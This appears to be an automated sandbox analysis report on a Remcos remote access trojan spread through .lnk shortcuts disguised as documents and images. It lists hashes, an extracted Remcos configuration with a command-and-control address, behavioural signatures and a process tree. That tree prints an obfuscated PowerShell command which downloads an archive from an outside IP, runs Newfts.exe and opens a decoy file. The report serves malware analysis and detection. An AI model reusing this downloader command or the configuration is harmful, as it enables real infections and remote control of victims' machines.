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Overview
overview
10Static
static
1brt_1_0147.doc.lnk
windows7-x64
3brt_1_0147.doc.lnk
windows10-2004-x64
10oshad_88.docx.lnk
windows7-x64
3oshad_88.docx.lnk
windows10-2004-x64
10rv_luti_20...sx.lnk
windows7-x64
3rv_luti_20...sx.lnk
windows10-2004-x64
10telegrama_...pg.lnk
windows7-x64
3telegrama_...pg.lnk
windows10-2004-x64
10Analysis
-
max time kernel
148s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
31/08/2024, 01:02
Static task
static1
Behavioral task
behavioral1
Sample
brt_1_0147.doc.lnk
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
brt_1_0147.doc.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
oshad_88.docx.lnk
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
oshad_88.docx.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
telegrama_ksv_po_btgr.jpg.lnk
Resource
win7-20240729-en
General
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Target
brt_1_0147.doc.lnk
-
Size
47KB
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MD5
8b3dc64090b0b26eda4f1195f493160d
-
SHA1
bd0b4c1d9e8b84465714287727ba5293f9a8eb61
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SHA256
cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30
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SHA512
ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb
-
SSDEEP
48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ
Malware Config
Extracted
remcos
feetfuck
83.222.191.201:24251
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-XTJ1YO
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screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 6 4556 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 1216 Newfts.exe 2660 Newfts.exe -
Loads dropped DLL 8 IoCs
pid Process 1216 Newfts.exe 1216 Newfts.exe 1216 Newfts.exe 1216 Newfts.exe 2660 Newfts.exe 2660 Newfts.exe 2660 Newfts.exe 2660 Newfts.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2660 set thread context of 3180 2660 Newfts.exe 102 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1776 WINWORD.EXE 1776 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4556 powershell.exe 4556 powershell.exe 1216 Newfts.exe 2660 Newfts.exe 2660 Newfts.exe 3180 cmd.exe 3180 cmd.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2660 Newfts.exe 3180 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4556 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1776 WINWORD.EXE 1776 WINWORD.EXE 1776 WINWORD.EXE 1776 WINWORD.EXE 1776 WINWORD.EXE 1776 WINWORD.EXE 1776 WINWORD.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 1852 wrote to memory of 4556 1852 cmd.exe 87 PID 1852 wrote to memory of 4556 1852 cmd.exe 87 PID 4556 wrote to memory of 1216 4556 powershell.exe 99 PID 4556 wrote to memory of 1216 4556 powershell.exe 99 PID 4556 wrote to memory of 1216 4556 powershell.exe 99 PID 4556 wrote to memory of 1776 4556 powershell.exe 100 PID 4556 wrote to memory of 1776 4556 powershell.exe 100 PID 1216 wrote to memory of 2660 1216 Newfts.exe 101 PID 1216 wrote to memory of 2660 1216 Newfts.exe 101 PID 1216 wrote to memory of 2660 1216 Newfts.exe 101 PID 2660 wrote to memory of 3180 2660 Newfts.exe 102 PID 2660 wrote to memory of 3180 2660 Newfts.exe 102 PID 2660 wrote to memory of 3180 2660 Newfts.exe 102 PID 2660 wrote to memory of 3180 2660 Newfts.exe 102 PID 3180 wrote to memory of 5348 3180 cmd.exe 117 PID 3180 wrote to memory of 5348 3180 cmd.exe 117 PID 3180 wrote to memory of 5348 3180 cmd.exe 117 PID 3180 wrote to memory of 5348 3180 cmd.exe 117 PID 3180 wrote to memory of 5348 3180 cmd.exe 117
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\brt_1_0147.doc.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exeC:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe6⤵
- System Location Discovery: System Language Discovery
PID:5348
-
-
-
-
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1776
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1.2MB
MD59cb45d8033edddac1b527b60c886d3e3
SHA1639f0e8a1aeb16d97563b343ae59f2538fabec99
SHA256a3ce7b71290631ae8a7bc8868db313d3f4ab848d2855db510ed97f769cef375f
SHA5122a8348faf0313d1be4e98ef4e4c0aa5b8aeb84786f23b84c86fc7da8a95c6e17954032bb562422a6cff140be3e6c0878aa308672f721653924eb378948888fc8
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Filesize
371B
MD5caaa8c1e0a0cedbe501ba53fca8496ec
SHA158c4d9d0ea7e6ead6fcaa6c62864653ff492c4bf
SHA2563a58c2f1523ad2c8060d96fa87f6b84ca86dc3942ded2a3c5d8d467d38121008
SHA5124ea0678c994bdbb7a98aed2498a3f9cbd318b478ed4a0506b49a0135772a47977a8025e9fae57adc08768d6f6c8523cdd14050fe4851cffc562e3ca8060be7ec
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD5ed47b9ba62fe2fe039775b5506bf4848
SHA1cded2fa440388e241577257b8530633e166324fd
SHA2561b0a31224cf419d73c39de36048c1504427e5fc0c4db4eee8299f700c0a93d70
SHA5124a17ee44946d987e9c812449f3c9b59c3f3ad43d9f864da4b133acd3c5416b5b003397ea9bb22436cfed123d5671f26ac59bc1ba45d68bbf42bfcaf1fb234f8f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize2KB
MD5a74c4db816d2bf0377a8b982cbda7252
SHA15d998ab767b349a4eac71b2191732dd19555fb31
SHA25654d8ce4011a6b1caffe2547beeaa9faca45faf7ad8d11a152dc172db679743f7
SHA5125a63f6ccd15f443ed625afe3f55ee626dc6a8bf5024092c683ee87941a4cdcc27323086047ec6606328f699403e955834bbe43763246db2afb2b72cbb22c4035
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Filesize
2.1MB
MD5db7e67835fce6cf9889f0f68ca9c29a9
SHA15565afda37006a66f0e4546105be60bbe7970616
SHA256dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738
SHA512bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b
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Filesize
1.1MB
MD559c15c71fd599ff745a862d0b8932919
SHA18384f88b4cac4694cf510ca0d3f867fd83cc9e18
SHA256c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2
SHA512be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e
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Filesize
1.4MB
MD56fdb2e9ca6b7a5ad510e2b29831e3bc8
SHA14a14ee9d5660eb271a6b5f18a55ac3e05f952c68
SHA256f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38
SHA512d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06
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Filesize
31KB
MD55dc69a3e2fda6cb740f363ef77edcc13
SHA1c177fabf17346531e07d562be11915bf2822148a
SHA2567c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621
SHA512b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f
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Filesize
1.0MB
MD5471076308d78944d45ab35d37134134a
SHA105cf2cf6e5d11ce10425b14d68cda3246cc47263
SHA25638d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b
SHA5127f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3
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Filesize
47KB
MD52616f33bfc84fecd6496c0e3bfbfb1b0
SHA1e4f4fba392ba4a245415729a82aaa486ca31b2ba
SHA25624fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4
SHA512b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb